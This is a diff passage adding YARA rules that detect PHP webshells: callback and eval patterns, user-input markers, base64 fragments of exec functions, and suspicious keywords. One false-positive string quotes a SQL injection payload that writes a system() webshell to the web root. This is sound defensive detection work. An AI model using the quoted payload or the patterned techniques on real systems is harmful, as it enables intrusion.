+        $gen_much_sus71 = "-perm -02000" wide ascii
+        $gen_much_sus72 = "grep -li password" wide ascii
+        $gen_much_sus73 = "-name config.inc.php" wide ascii
+        // touch without parameters sets the time to now, not malicious and gives fp
+        $gen_much_sus75 = "password crack" wide ascii
+        $gen_much_sus76 = "mysqlDll.dll" wide ascii
+        $gen_much_sus77 = "net user" wide ascii
+        $gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
+        $gen_much_sus81 = /strrev\(['"]/ wide ascii
+        $gen_much_sus82 = "PHPShell" fullword wide ascii
+        $gen_much_sus821= "PHP Shell" fullword wide ascii
+        $gen_much_sus83 = "phpshell" fullword wide ascii
+        $gen_much_sus84 = "PHPshell" fullword wide ascii
+        $gen_much_sus87 = "deface" wide ascii
+        $gen_much_sus88 = "Deface" wide ascii
+        $gen_much_sus89 = "backdoor" wide ascii
+        $gen_much_sus90 = "r00t" fullword wide ascii
+        $gen_much_sus91 = "xp_cmdshell" fullword wide ascii
+        $gen_much_sus92 = "str_rot13" fullword wide ascii
+
+        $gif = { 47 49 46 38 }
+
+
+        //strings from private rule capa_php_payload_multiple
+        // \([^)] to avoid matching on e.g. eval() in comments
+        $cmpayload1 = /\beval[\t ]{0,500}\([^)]/ nocase wide ascii
+        $cmpayload2 = /\bexec[\t ]{0,500}\([^)]/ nocase wide ascii
+        $cmpayload3 = /\bshell_exec[\t ]{0,500}\([^)]/ nocase wide ascii
+        $cmpayload4 = /\bpassthru[\t ]{0,500}\([^)]/ nocase wide ascii
+        $cmpayload5 = /\bsystem[\t ]{0,500}\([^)]/ nocase wide ascii
+        $cmpayload6 = /\bpopen[\t ]{0,500}\([^)]/ nocase wide ascii
+        $cmpayload7 = /\bproc_open[\t ]{0,500}\([^)]/ nocase wide ascii
+        $cmpayload8 = /\bpcntl_exec[\t ]{0,500}\([^)]/ nocase wide ascii
+        $cmpayload9 = /\bassert[\t ]{0,500}\([^)0]/ nocase wide ascii
+        $cmpayload10 = /\bpreg_replace[\t ]{0,500}\([^\)]{1,100}\/e/ nocase wide ascii
+        $cmpayload11 = /\bpreg_filter[\t ]{0,500}\([^\)]{1,100}\/e/ nocase wide ascii
+        $cmpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cmpayload20 = /\bcreate_function[\t ]{0,500}\([^)]/ nocase wide ascii
+        $cmpayload21 = /\bReflectionFunction[\t ]{0,500}\([^)]/ nocase wide ascii
+
+        $fp1 = "# Some examples from obfuscated malware:" ascii
+        $fp2 = "{@see TFileUpload} for further details." ascii
+    condition:
+        //any of them or
+        not (
+            any of ( $gfp_tiny* )
+            or 1 of ($fp*)
+        )
+        and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and (
+            any of ( $inp* )
+        )
+        and (
+            any of ( $cpayload* ) or
+        all of ( $m_cpayload_preg_filter* )
+        )
+        and
+        ( ( filesize < 1000 and not any of ( $wfp_tiny* ) ) or
+        ( (
+        $gif at 0 or
+        (
+            filesize < 4KB and
+            (
+                1 of ( $gen_much_sus* ) or
+                2 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 20KB and
+            (
+                2 of ( $gen_much_sus* ) or
+                3 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 50KB and
+            (
+                2 of ( $gen_much_sus* ) or
+                4 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 100KB and
+            (
+                2 of ( $gen_much_sus* ) or
+                6 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 150KB and
+            (
+                3 of ( $gen_much_sus* ) or
+                7 of ( $gen_bit_sus* )
+            )
+        ) or (
+            filesize < 500KB and
+            (
+                4 of ( $gen_much_sus* ) or
+                8 of ( $gen_bit_sus* )
+            )
+        )
+        )
+        and
+        ( filesize > 5KB or not any of ( $wfp_tiny* ) ) ) or
+        ( filesize < 500KB and (
+            4 of ( $cmpayload* )
+        )
+        ) )
+}
+
+rule WEBSHELL_PHP_Generic_Callback
+{
+    meta:
+        description = "php webshell having some kind of input and using a callback to execute the payload. restricted to small files or would give lots of false positives"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/01/14"
+        modified = "2023-09-18"
+        score = 60
+        hash = "e98889690101b59260e871c49263314526f2093f"
+        hash = "63297f8c1d4e88415bc094bc5546124c9ed8d57aca3a09e36ae18f5f054ad172"
+        hash = "81388c8cc99353cdb42572bb88df7d3bd70eefc748c2fa4224b6074aa8d7e6a2"
+        hash = "27d3bfabc283d851b0785199da8b1b0384afcb996fa9217687274dd56a7b5f49"
+        hash = "ee256d7cc3ceb2bf3a1934d553cdd36e3fbde62a02b20a1b748a74e85d4dbd33"
+        hash = "4adc6c5373c4db7b8ed1e7e6df10a3b2ce5e128818bb4162d502056677c6f54a"
+        hash = "1fe4c60ea3f32819a98b1725581ac912d0f90d497e63ad81ccf258aeec59fee3"
+        hash = "2967f38c26b131f00276bcc21227e54ee6a71881da1d27ec5157d83c4c9d4f51"
+        hash = "1ba02fb573a06d5274e30b2b05573305294497769414e964a097acb5c352fb92"
+        hash = "f4fe8e3b2c39090ca971a8e61194fdb83d76fadbbace4c5eb15e333df61ce2a4"
+        hash = "badda1053e169fea055f5edceae962e500842ad15a5d31968a0a89cf28d89e91"
+        hash = "0a29cf1716e67a7932e604c5d3df4b7f372561200c007f00131eef36f9a4a6a2"
+        hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
+        hash = "de1ef827bcd3100a259f29730cb06f7878220a7c02cee0ebfc9090753d2237a8"
+        hash = "487e8c08e85774dfd1f5e744050c08eb7d01c6877f7d03d7963187748339e8c4"
+
+        id = "e33dba84-bbeb-5955-a81b-2d2c8637fb48"
+    strings:
+
+        //strings from private rule php_false_positive
+        // try to use only strings which would be flagged by themselves as suspicious by other rules, e.g. eval
+        // a good choice is a string with good atom quality = ideally 4 unusual characters next to each other
+        $gfp1  = "eval(\"return [$serialised_parameter" // elgg
+        $gfp2  = "$this->assert(strpos($styles, $"
+        $gfp3  = "$module = new $_GET['module']($_GET['scope']);"
+        $gfp4  = "$plugin->$_POST['action']($_POST['id']);"
+        $gfp5  = "$_POST[partition_by]($_POST["
+        $gfp6  = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+        $gfp7  = "The above example code can be easily exploited by passing in a string such as" // ... ;)
+        $gfp8  = "Smarty_Internal_Debug::start_render($_template);"
+        $gfp9  = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+        $gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+        $gfp11 = "(eval (getenv \"EPROLOG\")))"
+        $gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+
+        //strings from private rule php_false_positive_tiny
+        // try to use only strings which would be flagged by themselves as suspicious by other rules, e.g. eval
+        //$gfp_tiny1 = "addslashes" fullword
+        //$gfp_tiny2 = "escapeshellarg" fullword
+        $gfp_tiny3 = "include \"./common.php\";" // xcache
+        $gfp_tiny4 = "assert('FALSE');"
+        $gfp_tiny5 = "assert(false);"
+        $gfp_tiny6 = "assert(FALSE);"
+        $gfp_tiny7 = "assert('array_key_exists("
+        $gfp_tiny8 = "echo shell_exec($aspellcommand . ' 2>&1');"
+        $gfp_tiny9 = "throw new Exception('Could not find authentication source with id ' . $sourceId);"
+        $gfp_tiny10= "return isset( $_POST[ $key ] ) ? $_POST[ $key ] : ( isset( $_REQUEST[ $key ] ) ? $_REQUEST[ $key ] : $default );"
+
+        //strings from private rule capa_php_input
+        $inp1 = "php://input" wide ascii
+        $inp2 = /_GET\s?\[/ wide ascii
+        // for passing $_GET to a function
+        $inp3 = /\(\s?\$_GET\s?\)/ wide ascii
+        $inp4 = /_POST\s?\[/ wide ascii
+        $inp5 = /\(\s?\$_POST\s?\)/ wide ascii
+        $inp6 = /_REQUEST\s?\[/ wide ascii
+        $inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
+        // PHP automatically adds all the request headers into the $_SERVER global array, prefixing each header name by the "HTTP_" string, so e.g. @eval($_SERVER['HTTP_CMD']) will run any code in the HTTP header CMD
+        $inp15 = "_SERVER['HTTP_" wide ascii
+        $inp16 = "_SERVER[\"HTTP_" wide ascii
+        $inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
+        $inp18 = "array_values($_SERVER)" wide ascii
+        $inp19 = /file_get_contents\("https?:\/\// wide ascii
+
+        // TODO: arraywalk \n /*
+        //strings from private rule capa_php_callback
+        // the end is 1. ( followed by anything but a direct closing ) 2. /* for the start of an obfuscation comment
+        $callback1 = /\bob_start[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback2 = /\barray_diff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback3 = /\barray_diff_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback4 = /\barray_filter[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback5 = /\barray_intersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback6 = /\barray_intersect_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback7 = /\barray_map[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback8 = /\barray_reduce[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback9 = /\barray_udiff_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback10 = /\barray_udiff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback11 = /\barray_udiff[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback12 = /\barray_uintersect_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback13 = /\barray_uintersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback14 = /\barray_uintersect[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback15 = /\barray_walk_recursive[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback16 = /\barray_walk[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback17 = /\bassert_options[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback18 = /\buasort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback19 = /\buksort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback20 = /\busort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback21 = /\bpreg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback22 = /\bspl_autoload_register[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback23 = /\biterator_apply[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback24 = /\bcall_user_func[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback25 = /\bcall_user_func_array[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback26 = /\bregister_shutdown_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback27 = /\bregister_tick_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback28 = /\bset_error_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback29 = /\bset_exception_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback30 = /\bsession_set_save_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback31 = /\bsqlite_create_aggregate[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback32 = /\bsqlite_create_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $callback33 = /\bmb_ereg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+
+        $m_callback1 = /\bfilter_var[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $m_callback2 = "FILTER_CALLBACK" fullword wide ascii
+
+        $cfp1 = /ob_start\(['\"]ob_gzhandler/ nocase wide ascii
+        $cfp2 = "IWPML_Backend_Action_Loader" ascii wide
+        $cfp3 = "<?phpclass WPML" ascii
+
+        //strings from private rule capa_gen_sus
+
+        // these strings are just a bit suspicious, so several of them are needed, depending on filesize
+        $gen_bit_sus1  = /:\s{0,20}eval}/ nocase wide ascii
+        $gen_bit_sus2  = /\.replace\(\/\w\/g/ nocase wide ascii
+        $gen_bit_sus6  = "self.delete"
+        $gen_bit_sus9  = "\"cmd /c" nocase
+        $gen_bit_sus10 = "\"cmd\"" nocase
+        $gen_bit_sus11 = "\"cmd.exe" nocase
+        $gen_bit_sus12 = "%comspec%" wide ascii
+        $gen_bit_sus13 = "%COMSPEC%" wide ascii
+        //TODO:$gen_bit_sus12 = ".UserName" nocase
+        $gen_bit_sus18 = "Hklm.GetValueNames();" nocase
+        // bonus string for proxylogon exploiting webshells
+        $gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+        $gen_bit_sus21 = "\"upload\"" wide ascii
+        $gen_bit_sus22 = "\"Upload\"" wide ascii
+        $gen_bit_sus23 = "UPLOAD" fullword wide ascii
+        $gen_bit_sus24 = "fileupload" wide ascii
+        $gen_bit_sus25 = "file_upload" wide ascii
+        // own base64 or base32 func
+        $gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+        $gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+        $gen_bit_sus30 = "serv-u" wide ascii
+        $gen_bit_sus31 = "Serv-u" wide ascii
+        $gen_bit_sus32 = "Army" fullword wide ascii
+        // single letter paramweter
+        $gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
+        $gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
+        $gen_bit_sus35 = "crack" fullword wide ascii
+
+        $gen_bit_sus44 = "<pre>" wide ascii
+        $gen_bit_sus45 = "<PRE>" wide ascii
+        $gen_bit_sus46 = "shell_" wide ascii
+        //fp: $gen_bit_sus47 = "Shell" fullword wide ascii
+        $gen_bit_sus50 = "bypass" wide ascii
+        $gen_bit_sus52 = " ^ $" wide ascii
+        $gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
+        $gen_bit_sus55 = /\w'\.'\w/ wide ascii
+        $gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
+        $gen_bit_sus57 = "dumper" wide ascii
+        $gen_bit_sus59 = "'cmd'" wide ascii
+        $gen_bit_sus60 = "\"execute\"" wide ascii
+        $gen_bit_sus61 = "/bin/sh" wide ascii
+        $gen_bit_sus62 = "Cyber" wide ascii
+        $gen_bit_sus63 = "portscan" fullword wide ascii
+        //$gen_bit_sus64 = "\"command\"" fullword wide ascii
+        //$gen_bit_sus65 = "'command'" fullword wide ascii
+        $gen_bit_sus66 = "whoami" fullword wide ascii
+        $gen_bit_sus67 = "$password='" fullword wide ascii
+        $gen_bit_sus68 = "$password=\"" fullword wide ascii
+        $gen_bit_sus69 = "$cmd" fullword wide ascii
+        $gen_bit_sus70 = "\"?>\"." fullword wide ascii
+        $gen_bit_sus71 = "Hacking" fullword wide ascii
+        $gen_bit_sus72 = "hacking" fullword wide ascii
+        $gen_bit_sus73 = ".htpasswd" wide ascii
+        $gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
+
+        // very suspicious strings, one is enough
+        $gen_much_sus7  = "Web Shell" nocase
+        $gen_much_sus8  = "WebShell" nocase
+        $gen_much_sus3  = "hidded shell"
+        $gen_much_sus4  = "WScript.Shell.1" nocase
+        $gen_much_sus5  = "AspExec"
+        $gen_much_sus14 = "\\pcAnywhere\\" nocase
+        $gen_much_sus15 = "antivirus" nocase
+        $gen_much_sus16 = "McAfee" nocase
+        $gen_much_sus17 = "nishang"
+        $gen_much_sus18 = "\"unsafe" fullword wide ascii
+        $gen_much_sus19 = "'unsafe" fullword wide ascii
+        $gen_much_sus24 = "exploit" fullword wide ascii
+        $gen_much_sus25 = "Exploit" fullword wide ascii
+        $gen_much_sus26 = "TVqQAAMAAA" wide ascii
+        $gen_much_sus30 = "Hacker" wide ascii
+        $gen_much_sus31 = "HACKED" fullword wide ascii
+        $gen_much_sus32 = "hacked" fullword wide ascii
+        $gen_much_sus33 = "hacker" wide ascii
+        $gen_much_sus34 = "grayhat" nocase wide ascii
+        $gen_much_sus35 = "Microsoft FrontPage" wide ascii
+        $gen_much_sus36 = "Rootkit" wide ascii
+        $gen_much_sus37 = "rootkit" wide ascii
+        $gen_much_sus38 = "/*-/*-*/" wide ascii
+        $gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+        $gen_much_sus40 = "\"e\"+\"v" wide ascii
+        $gen_much_sus41 = "a\"+\"l\"" wide ascii
+        $gen_much_sus42 = "\"+\"(\"+\"" wide ascii
+        $gen_much_sus43 = "q\"+\"u\"" wide ascii
+        $gen_much_sus44 = "\"u\"+\"e" wide ascii
+        $gen_much_sus45 = "/*//*/" wide ascii
+        $gen_much_sus46 = "(\"/*/\"" wide ascii
+        $gen_much_sus47 = "eval(eval(" wide ascii
+        // self remove
+        $gen_much_sus48 = "unlink(__FILE__)" wide ascii
+        $gen_much_sus49 = "Shell.Users" wide ascii
+        $gen_much_sus50 = "PasswordType=Regular" wide ascii
+        $gen_much_sus51 = "-Expire=0" wide ascii
+        $gen_much_sus60 = "_=$$_" wide ascii
+        $gen_much_sus61 = "_=$$_" wide ascii
+        $gen_much_sus62 = "++;$" wide ascii
+        $gen_much_sus63 = "++; $" wide ascii
+        $gen_much_sus64 = "_.=$_" wide ascii
+        $gen_much_sus70 = "-perm -04000" wide ascii
+        $gen_much_sus71 = "-perm -02000" wide ascii
+        $gen_much_sus72 = "grep -li password" wide ascii
+        $gen_much_sus73 = "-name config.inc.php" wide ascii
+        // touch without parameters sets the time to now, not malicious and gives fp
+        $gen_much_sus75 = "password crack" wide ascii
+        $gen_much_sus76 = "mysqlDll.dll" wide ascii
+        $gen_much_sus77 = "net user" wide ascii
+        $gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
+        $gen_much_sus81 = /strrev\(['"]/ wide ascii
+        $gen_much_sus82 = "PHPShell" fullword wide ascii
+        $gen_much_sus821= "PHP Shell" fullword wide ascii
+        $gen_much_sus83 = "phpshell" fullword wide ascii
+        $gen_much_sus84 = "PHPshell" fullword wide ascii
+        $gen_much_sus87 = "deface" wide ascii
+        $gen_much_sus88 = "Deface" wide ascii
+        $gen_much_sus89 = "backdoor" wide ascii
+        $gen_much_sus90 = "r00t" fullword wide ascii
+        $gen_much_sus91 = "xp_cmdshell" fullword wide ascii
+        $gen_much_sus92 = "base64_decode(base64_decode(" fullword wide ascii
+        $gen_much_sus93 = "eval(\"/*" wide ascii
+        $gen_much_sus94 = "http_response_code(404)" wide ascii
+
+        $gif = { 47 49 46 38 }
+
+
+    condition:
+        //any of them or
+        not (
+            any of ( $gfp* )
+        )
+        and not (
+            any of ( $gfp_tiny* )
+        )
+        and (
+            any of ( $inp* )
+        )
+        and (
+            not any of ( $cfp* ) and
+                (
+                    any of ( $callback* )  or
+                    all of ( $m_callback* )
+                )
+            )
+            and
+            ( filesize < 1000 or (
+                $gif at 0 or
+                (
+                    filesize < 4KB and
+                    (
+                        1 of ( $gen_much_sus* ) or
+                        2 of ( $gen_bit_sus* )
+                    )
+                ) or (
+                    filesize < 20KB and
+                    (
+                        2 of ( $gen_much_sus* ) or
+                        3 of ( $gen_bit_sus* )
+                    )
+                ) or (
+                    filesize < 50KB and
+                    (
+                        2 of ( $gen_much_sus* ) or
+                        4 of ( $gen_bit_sus* )
+                    )
+                ) or (
+                    filesize < 100KB and
+                    (
+                        2 of ( $gen_much_sus* ) or
+                        6 of ( $gen_bit_sus* )
+                    )
+                ) or (
+                    filesize < 150KB and
+                    (
+                        3 of ( $gen_much_sus* ) or
+                        7 of ( $gen_bit_sus* )
+                    )
+                ) or (
+                    filesize < 500KB and
+                    (
+                        4 of ( $gen_much_sus* ) or
+                        8 of ( $gen_bit_sus* )
+                    )
+                )
+            )
+        )
+}
+
+rule WEBSHELL_PHP_Base64_Encoded_Payloads : FILE {
+    meta:
+        description = "php webshell containing base64 encoded payload"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "88d0d4696c9cb2d37d16e330e236cb37cfaec4cd"
+        hash = "e3b4e5ec29628791f836e15500f6fdea19beaf3e8d9981c50714656c50d3b365"
+        hash = "e726cd071915534761822805724c6c6bfe0fcac604a86f09437f03f301512dc5"
+        hash = "39b8871928d00c7de8d950d25bff4cb19bf9bd35942f7fee6e0f397ff42fbaee"
+        hash = "8cc9802769ede56f1139abeaa0735526f781dff3b6c6334795d1d0f19161d076"
+        hash = "4cda0c798908b61ae7f4146c6218d7b7de14cbcd7c839edbdeb547b5ae404cd4"
+        hash = "afd9c9b0df0b2ca119914ea0008fad94de3bd93c6919f226b793464d4441bdf4"
+        hash = "b2048dc30fc7681094a0306a81f4a4cc34f0b35ccce1258c20f4940300397819"
+        hash = "da6af9a4a60e3a484764010fbf1a547c2c0a2791e03fc11618b8fc2605dceb04"
+        hash = "222cd9b208bd24955bcf4f9976f9c14c1d25e29d361d9dcd603d57f1ea2b0aee"
+        hash = "98c1937b9606b1e8e0eebcb116a784c9d2d3db0039b21c45cba399e86c92c2fa"
+        hash = "6b6cd1ef7e78e37cbcca94bfb5f49f763ba2f63ed8b33bc4d7f9e5314c87f646"
+        hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
+        hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
+        hash = "e2b1dfcfaa61e92526a3a444be6c65330a8db4e692543a421e19711760f6ffe2"
+
+        id = "4e42b47d-725b-5e1f-9408-6c6329f60506"
+    strings:
+        $decode1 = "base64_decode" fullword nocase wide ascii
+        $decode2 = "openssl_decrypt" fullword nocase wide ascii
+        // exec
+        $one1 = "leGVj"
+        $one2 = "V4ZW"
+        $one3 = "ZXhlY"
+        $one4 = "UAeABlAGMA"
+        $one5 = "lAHgAZQBjA"
+        $one6 = "ZQB4AGUAYw"
+        // shell_exec
+        $two1 = "zaGVsbF9leGVj"
+        $two2 = "NoZWxsX2V4ZW"
+        $two3 = "c2hlbGxfZXhlY"
+        $two4 = "MAaABlAGwAbABfAGUAeABlAGMA"
+        $two5 = "zAGgAZQBsAGwAXwBlAHgAZQBjA"
+        $two6 = "cwBoAGUAbABsAF8AZQB4AGUAYw"
+        // passthru
+        $three1 = "wYXNzdGhyd"
+        $three2 = "Bhc3N0aHJ1"
+        $three3 = "cGFzc3Rocn"
+        $three4 = "AAYQBzAHMAdABoAHIAdQ"
+        $three5 = "wAGEAcwBzAHQAaAByAHUA"
+        $three6 = "cABhAHMAcwB0AGgAcgB1A"
+        // system
+        $four1 = "zeXN0ZW"
+        $four2 = "N5c3Rlb"
+        $four3 = "c3lzdGVt"
+        $four4 = "MAeQBzAHQAZQBtA"
+        $four5 = "zAHkAcwB0AGUAbQ"
+        $four6 = "cwB5AHMAdABlAG0A"
+        // popen
+        $five1 = "wb3Blb"
+        $five2 = "BvcGVu"
+        $five3 = "cG9wZW"
+        $five4 = "AAbwBwAGUAbg"
+        $five5 = "wAG8AcABlAG4A"
+        $five6 = "cABvAHAAZQBuA"
+        // proc_open
+        $six1 = "wcm9jX29wZW"
+        $six2 = "Byb2Nfb3Blb"
+        $six3 = "cHJvY19vcGVu"
+        $six4 = "AAcgBvAGMAXwBvAHAAZQBuA"
+        $six5 = "wAHIAbwBjAF8AbwBwAGUAbg"
+        $six6 = "cAByAG8AYwBfAG8AcABlAG4A"
+        // pcntl_exec
+        $seven1 = "wY250bF9leGVj"
+        $seven2 = "BjbnRsX2V4ZW"
+        $seven3 = "cGNudGxfZXhlY"
+        $seven4 = "AAYwBuAHQAbABfAGUAeABlAGMA"
+        $seven5 = "wAGMAbgB0AGwAXwBlAHgAZQBjA"
+        $seven6 = "cABjAG4AdABsAF8AZQB4AGUAYw"
+        // eval
+        $eight1 = "ldmFs"
+        $eight2 = "V2YW"
+        $eight3 = "ZXZhb"
+        $eight4 = "UAdgBhAGwA"
+        $eight5 = "lAHYAYQBsA"
+        $eight6 = "ZQB2AGEAbA"
+        // assert
+        $nine1 = "hc3Nlcn"
+        $nine2 = "Fzc2Vyd"
+        $nine3 = "YXNzZXJ0"
+        $nine4 = "EAcwBzAGUAcgB0A"
+        $nine5 = "hAHMAcwBlAHIAdA"
+        $nine6 = "YQBzAHMAZQByAHQA"
+
+        // false positives
+
+        // execu
+        $execu1 = "leGVjd"
+        $execu2 = "V4ZWN1"
+        $execu3 = "ZXhlY3"
+
+        // esystem like e.g. filesystem
+        $esystem1 = "lc3lzdGVt"
+        $esystem2 = "VzeXN0ZW"
+        $esystem3 = "ZXN5c3Rlb"
+
+        // opening
+        $opening1 = "vcGVuaW5n"
+        $opening2 = "9wZW5pbm"
+        $opening3 = "b3BlbmluZ"
+
+        // false positives
+        $fp1 = { D0 CF 11 E0 A1 B1 1A E1 }
+        // api.telegram
+        $fp2 = "YXBpLnRlbGVncmFtLm9"
+        // Log files
+        $fp3 = " GET /"
+        $fp4 = " POST /"
+
+    $fpa1 = "/cn=Recipients"
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize < 300KB and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and not any of ( $fp* ) and any of ( $decode* ) and
+        ( ( any of ( $one* ) and not any of ( $execu* ) ) or any of ( $two* ) or any of ( $three* ) or
+        ( any of ( $four* ) and not any of ( $esystem* ) ) or
+        ( any of ( $five* ) and not any of ( $opening* ) ) or any of ( $six* ) or any of ( $seven* ) or any of ( $eight* ) or any of ( $nine* ) )
+}
+
+rule WEBSHELL_PHP_Unknown_1
+{
+    meta:
+        description = "obfuscated php webshell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        hash = "12ce6c7167b33cc4e8bdec29fb1cfc44ac9487d1"
+        hash = "cf4abbd568ce0c0dfce1f2e4af669ad2"
+        date = "2021/01/07"
+        modified = "2023-04-05"
+
+        id = "93d01a4c-4c18-55d2-b682-68a1f6460889"
+    strings:
+        $sp0 = /^<\?php \$[a-z]{3,30} = '/ wide ascii
+        $sp1 = "=explode(chr(" wide ascii
+        $sp2 = "; if (!function_exists('" wide ascii
+        $sp3 = " = NULL; for(" wide ascii
+
+    condition:
+        filesize <300KB and all of ($sp*)
+}
+
+rule WEBSHELL_PHP_Generic_Eval
+{
+    meta:
+        description = "Generic PHP webshell which uses any eval/exec function in the same line with user input"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "a61437a427062756e2221bfb6d58cd62439d09d9"
+        hash = "90c5cc724ec9cf838e4229e5e08955eec4d7bf95"
+        hash = "2b41abc43c5b6c791d4031005bf7c5104a98e98a00ee24620ce3e8e09a78e78f"
+        hash = "5c68a0fa132216213b66a114375b07b08dc0cb729ddcf0a29bff9ca7a22eaaf4"
+        hash = "de3c01f55d5346577922bbf449faaaaa1c8d1aaa64c01e8a1ee8c9d99a41a1be"
+        hash = "124065176d262bde397b1911648cea16a8ff6a4c8ab072168d12bf0662590543"
+        hash = "cd7450f3e5103e68741fd086df221982454fbcb067e93b9cbd8572aead8f319b"
+        hash = "ab835ce740890473adf5cc804055973b926633e39c59c2bd98da526b63e9c521"
+        hash = "31ff9920d401d4fbd5656a4f06c52f1f54258bc42332fc9456265dca7bb4c1ea"
+        hash = "64e6c08aa0b542481b86a91cdf1f50c9e88104a8a4572a8c6bd312a9daeba60e"
+        hash = "80e98e8a3461d7ba15d869b0641cdd21dd5b957a2006c3caeaf6f70a749ca4bb"
